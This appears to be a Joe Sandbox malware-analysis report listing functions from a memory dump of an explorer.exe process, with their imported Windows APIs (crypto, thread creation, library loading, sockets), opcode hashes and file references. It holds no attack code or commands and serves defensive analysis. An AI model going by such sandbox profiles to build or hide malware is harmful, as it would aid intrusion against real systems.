Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: closesocketshutdown$CloseFreeHandleLocal
String ID:
API String ID: 1073023652-0
Opcode ID: d07affa4af74ba9c6dc041e1d220e6f0941e94259047affa75eb072f7aa2d55e
Instruction ID: ed0763a0671a2f7c61c1af6324865f79b81b7c762c554046f55a0e7e538f9154
Opcode Fuzzy Hash: d07affa4af74ba9c6dc041e1d220e6f0941e94259047affa75eb072f7aa2d55e
Instruction Fuzzy Hash: 6611873225AA84C6E732AB18F4897DAB370F39C749F241315D6C666A98CF7EC4558A00

Function 00E2F5AC Relevance: 4.5, APIs: 3, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32 ref: 00E2F5C2
GetVersion.KERNEL32 ref: 00E2F5D4
HeapSetInformation.KERNEL32 ref: 00E2F5F2

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Heap$CreateInformationVersion
String ID:
API String ID: 3563531100-0
Opcode ID: e4348b458ff4f1f976adb9bc2e523157a452458e613d1e976ec5d4266348eb62
Instruction ID: 05319fdb2dc70cf08a3ac943464081b68462692762f9014ded866839c0eabb10
Opcode Fuzzy Hash: e4348b458ff4f1f976adb9bc2e523157a452458e613d1e976ec5d4266348eb62
Instruction Fuzzy Hash: D6E0DFB4611BD083FB845B14F849B5A2620FB9A785F902834F90A33764DF3CC98ACB04

Function 00E12160 Relevance: 3.0, APIs: 2, Instructions: 42COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32 ref: 00E1218F
GetVolumeInformationW.KERNEL32 ref: 00E121E0

Part of subcall function 00E1DAD0: CryptAcquireContextW.ADVAPI32 ref: 00E1DB1E
Part of subcall function 00E1DAD0: CryptCreateHash.ADVAPI32 ref: 00E1DB47
Part of subcall function 00E1DAD0: WaitForSingleObject.KERNEL32 ref: 00E1DBB5
Part of subcall function 00E1DAD0: CryptReleaseContext.ADVAPI32 ref: 00E1DCA2
Part of subcall function 00E1DAD0: CryptDestroyHash.ADVAPI32 ref: 00E1DCB5

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Crypt$ContextHash$AcquireCreateDestroyDirectoryInformationObjectReleaseSingleSystemVolumeWait
String ID:
API String ID: 2609862481-0
Opcode ID: 13fdeda7c2e5c2250e802208b82858c93158c3d073d366ca9cf810559a951751
Instruction ID: ab274cbd0b5a372966ca42d5018040e5c39ec2c3df16e8ad32089a4326fe493d
Opcode Fuzzy Hash: 13fdeda7c2e5c2250e802208b82858c93158c3d073d366ca9cf810559a951751
Instruction Fuzzy Hash: E8119232228AC082E760CB60F88879F73A1F784744F90512AE789C7E58DB3EC588CB04

Function 00E1C360 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32 ref: 00E1C3FE

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: ProcWindow
String ID:
API String ID: 181713994-0
Opcode ID: 02aa5fef786a4fb99182c43541bf79e51a5a4e61dda55fb9103a89aab660f712
Instruction ID: 261a4b0ff16a1922f9f278e028530080628fddd5452111a611802556c5203987
Opcode Fuzzy Hash: 02aa5fef786a4fb99182c43541bf79e51a5a4e61dda55fb9103a89aab660f712
Instruction Fuzzy Hash: 5A015E7218C280C7D634DB98E0443EEB360F385348F306226F696E3A26CB7DC8E58B41

Function 00E17AF0 Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32 ref: 00E17B89

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: ProcWindow
String ID:
API String ID: 181713994-0
Opcode ID: f1e5726a2f09741b6e4c8e908db0c6a897dd3715062ec5dd15aeb9964fb7b25b
Instruction ID: 78ed5438bf42996953bbe5d658d2f3d3598839f847c88a36d19fb113b0bdfb86
Opcode Fuzzy Hash: f1e5726a2f09741b6e4c8e908db0c6a897dd3715062ec5dd15aeb9964fb7b25b
Instruction Fuzzy Hash: 6501403550C680CBD730AB58E014AEAB3B2F785B58F502626F7C662B58CB7DC5D48F41

Function 00E044B0 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da2af1d5358e45a80c7f840fe45fc6962c5d488a89f3c32c77541c1115099bd7
Instruction ID: 34bea136e24079cd9ca2882cd827f2b56cc0ba5e4fc8844b509a27c98fb91980
Opcode Fuzzy Hash: da2af1d5358e45a80c7f840fe45fc6962c5d488a89f3c32c77541c1115099bd7
Instruction Fuzzy Hash: 1B0162F4214641D3F7109B24FE157A316A0E3A4348F602835D61AF62E0FB7DCAC98380

Function 00E19929 Relevance: 1.5, APIs: 1, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddressForCaller.KERNELBASE ref: 00E1998F
GetProcAddress.KERNEL32 ref: 00E199EE
LoadLibraryExW.KERNEL32 ref: 00E19A38

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: AddressProc$CallerLibraryLoad
String ID:
API String ID: 3311809864-0
Opcode ID: 1f33e0d227f083223617d2c48e540e55c391f4ebc574c8c2512f086ed87e3818
Instruction ID: 91b5966f19b29a6cff71d9499aab62128c2e1852896f1c0060de646b3f01a6f2
Opcode Fuzzy Hash: 1f33e0d227f083223617d2c48e540e55c391f4ebc574c8c2512f086ed87e3818
Instruction Fuzzy Hash: 0401A276B18BC589DB30CB04E4A07AAB360F7C6744F805816D68E53A68DB3CD589CF42

Function 00E18CE3 Relevance: 1.5, APIs: 1, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddressForCaller.KERNELBASE ref: 00E18D4C
GetProcAddress.KERNEL32 ref: 00E18DAE
LoadLibraryW.KERNEL32 ref: 00E18DF8

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: AddressProc$CallerLibraryLoad
String ID:
API String ID: 3311809864-0
Opcode ID: 29f24ca8af7b1ec7b39b311e50dcf5f0945885a2f14febe62e27be05c9337b80
Instruction ID: 57cc68c922f2137fa51aad663c1dce808f37531c0e7a553a47cceefc2bd2b60d
Opcode Fuzzy Hash: 29f24ca8af7b1ec7b39b311e50dcf5f0945885a2f14febe62e27be05c9337b80
Instruction Fuzzy Hash: E7019036618BC58ADA70CB04E4D43AAB364F3D6744F801516D68E93A68DF39C589CB41

Function 00E178A0 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 00E178D6

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 972676e2263dc913d8f0aceba4ed3926a994122b1158fd80d1085a60b805af4a
Instruction ID: 8192b5692cd65de3ce841438c33c8e8030648610f048ab3a836019616b23533f
Opcode Fuzzy Hash: 972676e2263dc913d8f0aceba4ed3926a994122b1158fd80d1085a60b805af4a
Instruction Fuzzy Hash: 8EF0ED31608B9186F764DB24F9097DA27B0F364748F506B26C48966260CF7DC5C9C601

Function 00E05230 Relevance: 1.5, APIs: 1, Instructions: 20threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 00E05263

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 97899df86d47d9c0d290823c76a79fd567d6de1076d23b08f7a01fa9945c199d
Instruction ID: 3f86c8e836d11f2cd1602652ffe6a07baefc2cb201b03cc7f442c4ce76b4db0c
Opcode Fuzzy Hash: 97899df86d47d9c0d290823c76a79fd567d6de1076d23b08f7a01fa9945c199d
Instruction Fuzzy Hash: A1F04832D05B81C6F720DBA1F95836326B1E774398F902915D445A66B4CFBD85C4CF44

Function 00E1C130 Relevance: 1.5, APIs: 1, Instructions: 17threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 00E1C156

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 7bf3fda03488cde0f2424b2de49cc3ea02773bfd36645c5761c3d60d64d8c9f6
Instruction ID: f97c7641bd65921278268941db110e03733ad2583f9b93635244692219efdc6c
Opcode Fuzzy Hash: 7bf3fda03488cde0f2424b2de49cc3ea02773bfd36645c5761c3d60d64d8c9f6
Instruction Fuzzy Hash: 12E0B631685B80E2E724DB20FD197C637B4F3A9388F904925D44DA2672DF7DC2D9CA00

Function 00E250EE Relevance: 1.3, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00E25183

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: bd26352a9cb9f43418d3adb89ed1a2b75b0174cf7063cae51a4f923cf6a2674f
Instruction ID: 06aeae9a39abddd7ac0661cee82a5b791cce952dc1d85676c5b75ba0ce46d62d
Opcode Fuzzy Hash: bd26352a9cb9f43418d3adb89ed1a2b75b0174cf7063cae51a4f923cf6a2674f
Instruction Fuzzy Hash: B6D01733629E90CAE6708B05FA44BAAB360F7C0704F506011A6C292908CB38C890CE00

Function 00E2505D Relevance: 1.3, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00E25183

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: b1b7b2e2055f6fa1aef4303f3cbb07f62001011ee5cc0c0af255673b558dbb32
Instruction ID: 06aeae9a39abddd7ac0661cee82a5b791cce952dc1d85676c5b75ba0ce46d62d
Opcode Fuzzy Hash: b1b7b2e2055f6fa1aef4303f3cbb07f62001011ee5cc0c0af255673b558dbb32
Instruction Fuzzy Hash: B6D01733629E90CAE6708B05FA44BAAB360F7C0704F506011A6C292908CB38C890CE00

Function 00E2503A Relevance: 1.3, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00E25183

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 67bbd1482953c9a039683a81b8c0d8f6b38603526629be0e265f0fd7566734f5
Instruction ID: 06aeae9a39abddd7ac0661cee82a5b791cce952dc1d85676c5b75ba0ce46d62d
Opcode Fuzzy Hash: 67bbd1482953c9a039683a81b8c0d8f6b38603526629be0e265f0fd7566734f5
Instruction Fuzzy Hash: B6D01733629E90CAE6708B05FA44BAAB360F7C0704F506011A6C292908CB38C890CE00

Function 00E249EF Relevance: 1.3, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00E24C56

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 48b5383b38cba486ddfa990dbca9aa2bd6a836a40005c426cf510de7b801e9cc
Instruction ID: 2c597c75e68a2e12bdbd147ac25d29dfe90b5bd66ec20352aed8254f52eebad0
Opcode Fuzzy Hash: 48b5383b38cba486ddfa990dbca9aa2bd6a836a40005c426cf510de7b801e9cc
Instruction Fuzzy Hash: 20D01772619690C7E7748B08F041BAAB360F780744F402021A286A2994CF39D980CE00

Function 00E249DB Relevance: 1.3, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00E24C56

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 46766f59590c43c0cb273360e60c28dcd038db0768a1794d386c2c23107aae88
Instruction ID: 2c597c75e68a2e12bdbd147ac25d29dfe90b5bd66ec20352aed8254f52eebad0
Opcode Fuzzy Hash: 46766f59590c43c0cb273360e60c28dcd038db0768a1794d386c2c23107aae88
Instruction Fuzzy Hash: 20D01772619690C7E7748B08F041BAAB360F780744F402021A286A2994CF39D980CE00

Function 00E2516B Relevance: 1.3, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00E25183

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: fabb388cd174b4009692af883b9a74474a6733f7c92937f47ce5757885f3fb1c
Instruction ID: 06aeae9a39abddd7ac0661cee82a5b791cce952dc1d85676c5b75ba0ce46d62d
Opcode Fuzzy Hash: fabb388cd174b4009692af883b9a74474a6733f7c92937f47ce5757885f3fb1c
